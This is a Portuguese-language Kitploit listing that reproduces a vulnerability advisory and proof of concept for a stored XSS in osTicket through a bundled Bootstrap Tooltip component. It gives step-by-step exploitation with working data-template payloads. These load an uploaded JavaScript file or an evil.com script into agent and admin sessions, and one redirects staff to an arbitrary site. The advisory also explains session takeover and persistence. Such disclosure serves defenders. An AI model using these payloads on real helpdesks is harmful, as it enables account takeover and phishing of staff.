Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/weswrench/cve-2026-36214
Ferramentas de PhishingAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubweswrench/cve-2026-36214

CVE-2026-36214

Stored Cross-Site Scripting (XSS) no osTicket através de componente Bootstrap Tooltip vulnerável

Ver Repositório
16há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-36214 - Cross-Site Scripting (XSS) Armazenado no osTicket via Componente Bootstrap Tooltip Vulnerável

Descrição

Enhancesoft osTicket versões de 1.10 até 1.17.7 e de 1.18.0 até 1.18.3 incluem o componente Bootstrap Tooltip 3.3.4 conhecido por ser vulnerável (CVE-2019-8331), o que introduz uma vulnerabilidade de Cross-Site Scripting (XSS) armazenado. Na configuração padrão do osTicket, os submissos de tickets ("usuários") podem enviar tickets sem autenticação prévia, e o auto-registro de usuários está aberto por padrão. Um usuário remoto pode criar uma mensagem de ticket maliciosa que, apesar de passar pelo módulo de sanitização HTML htmlLawed, resulta na execução arbitrária de JavaScript no navegador de qualquer Agente ou Administrador que a visualize. Este problema é agravado pelo fato de que arquivos JavaScript enviados pelo usuário são servidos com um Content-Type do tipo executável JavaScript (text/javascript), permitindo que sejam interpretados como conteúdo ativo pelos navegadores. Embora payloads inline sejam limitados pela forma como o Bootstrap Tooltip 3.3.4 analisa o valor de data-template em um objeto jQuery e o insere no DOM via appendTo() ou insertAfter(), executar código controlado pelo atacante como scripts externos contorna essas limitações e permite uma exploração mais poderosa da vulnerabilidade.

Versões Afetadas

  • Testadas e confirmadas vulneráveis:

    • osTicket 1.18.2
    • osTicket 1.18.3
  • Versão afetada:

    • v1.10 - v1.17.8 (exclusive)
    • v1.18 - v1.18.4 (exclusive)

Este componente está presente na base de código do osTicket desde 13 de maio de 2015, conforme mostrado por:

  • Arquivo: scp/js/bootstrap-tooltip.js
  • Commit: e5a28410ae7c238932eef07c2b3568da015a792c

Este commit está associado a tags de lançamento do osTicket que remontam à versão 1.10, indicando que o componente Bootstrap Tooltip vulnerável foi incluído em uma ampla gama de versões do osTicket ao longo de várias versões principais. Essa inclusão de longo prazo sugere fortemente que muitas versões do osTicket lançadas ao longo de vários anos estão afetadas.


1. Visão Geral

osTicket é um sistema de tickets de código aberto amplamente utilizado que permite que usuários finais enviem conteúdo HTML rico e anexos de arquivos como parte da criação e respostas de tickets.

osTicket define três categorias principais de usuários:

  • Admin
    • Acesso administrativo completo
    • Configuração global, usuários, funções, plugins
  • Agente
    • Acesso operacional aos tickets
    • Pode visualizar, responder, transferir, fechar tickets
  • Usuário (Cliente / Usuário Final)
    • Só pode acessar o portal do cliente
    • Pode criar e visualizar seus próprios tickets

Qualquer conteúdo HTML enviado por um Usuário pode posteriormente ser renderizado no navegador de um Agente ou Admin, tornando as vulnerabilidades do lado do cliente particularmente impactantes.


2. Prova de Conceito

Primeiro, autentique-se usando sua conta de usuário final e vá para a página de criação de tickets.
Em seguida, crie um arquivo JavaScript (ex: test.js) contendo um payload. Por exemplo:

root@kitploit:~
alert(123);

Nota: Por padrão, o osTicket permite anexos de tickets sem restrições de tipo de arquivo.

Faça upload de um arquivo JS

Em seguida, envie o ticket clicando em “Criar Ticket” sem fornecer nenhum “Detalhe do Problema”.

A aplicação nos redirecionará de volta ao formulário de submissão de ticket com o erro “Detalhe do Problema é um campo obrigatório”.
Esta página nos permite obter um link de download para o nosso arquivo JavaScript (test.js) sem realmente enviar um ticket.

Obter link direto do nosso arquivo JS enviado

Content-Type do nosso arquivo JS enviado

Depois de obter este link, retorne ao formulário de submissão de ticket.
Clique no editor HTML e cole este payload, substituindo o atributo src da tag script pelo link obtido anteriormente.

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_AQUI]'>"></div>
<input>

Abaixo está um exemplo de um payload completo, onde o padrão [LINK_AQUI] foi substituído pelo link obtido anteriormente:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

Em seguida, envie o ticket.

Enviar payload malicioso

Quando um administrador ou agente visualizar nosso ticket malicioso, o payload é acionado.

Payload acionado

Resultado:
Quando um administrador/agente abre o ticket malicioso, o payload JavaScript é carregado e executado no contexto da sessão do admin/agente.

Isso resulta em um XSS armazenado, permitindo comprometimento total da sessão (por exemplo, via ezXSS, CSRF para realizar ações de admin/agente).


3. Impacto

Comprometimento do Agente

Se o ticket malicioso for visualizado por um Agente, o XSS armazenado é executado no contexto da sessão autenticada do Agente.

Isso permite que um atacante efetivamente assuma o controle da sessão do Agente sem precisar extrair o cookie da sessão (por exemplo, mesmo em cenários onde a exfiltração de cookies não é prática e uma plataforma blind-XSS como ezXSS é usada). Uma vez que o XSS é executado, o atacante pode realizar qualquer ação que o Agente comprometido esteja autorizado a realizar, por exemplo:

  • Consultar tickets acessíveis àquele Agente (muitas vezes incluindo uma grande parte do helpdesk)
  • Baixar e revisar anexos de tickets
  • Responder a tickets e interagir com usuários
  • Transferir, fechar ou atualizar o estado do ticket
  • Adicionar notas internas (se permitido)

Isso resulta em um comprometimento total das capacidades operacionais do Agente e da confidencialidade/integridade do fluxo de trabalho de tickets.

Comprometimento do Administrador

Se o ticket malicioso for visualizado por um Administrador, o impacto escala para um comprometimento total da aplicação. O atacante pode:

  • Assumir o controle da sessão do Administrador
  • Modificar a configuração global (configurações, permissões, ...)
  • Desencadear uma negação de serviço alterando valores de configuração críticos
  • Modificar “páginas” / templates administrativos, possibilitando desfiguração global e phishing na interface da aplicação
  • Criar novas contas de Agente e/ou Administrador para estabelecer persistência

Nota Sobre Upload Restrito de Arquivos e Política de Segurança de Conteúdo (CSP)

Embora a configuração padrão do osTicket permita upload de arquivos JavaScript, o osTicket pode ser configurado no Painel Admin para que um usuário final não tenha permissão de fazer upload de arquivos JavaScript.

Além disso, o Painel de Controle da Equipe usado por agentes e administradores impõe uma Política de Segurança de Conteúdo (CSP) que impede a execução de JavaScript originário de domínios de terceiros.
Vamos tomar o seguinte payload como exemplo:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

A captura de tela abaixo mostra que o carregamento de um script de https://evil.com foi bloqueado pela Política de Segurança de Conteúdo aplicada no Painel de Controle da Equipe.

Payload bloqueado pela CSP

No entanto, a Política de Segurança de Conteúdo implementada na aplicação permite JavaScript inline.

CSP no Painel Agente/Admin

No caso em que os uploads de arquivos JavaScript estão bloqueados, ainda é possível para um atacante realizar ações maliciosas. Vamos considerar o payload abaixo:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

O payload Base64 decodifica para:

root@kitploit:~
<script>top.location = "https://example.com";</script>

Este payload permite que um atacante redirecione um agente ou administrador que esteja visualizando o ticket malicioso para um site arbitrário, por exemplo, um site de phishing.

Aqui está o resultado após visualizar um ticket contendo o payload acima. Redirecionar para site arbitrário

Baixar ferramenta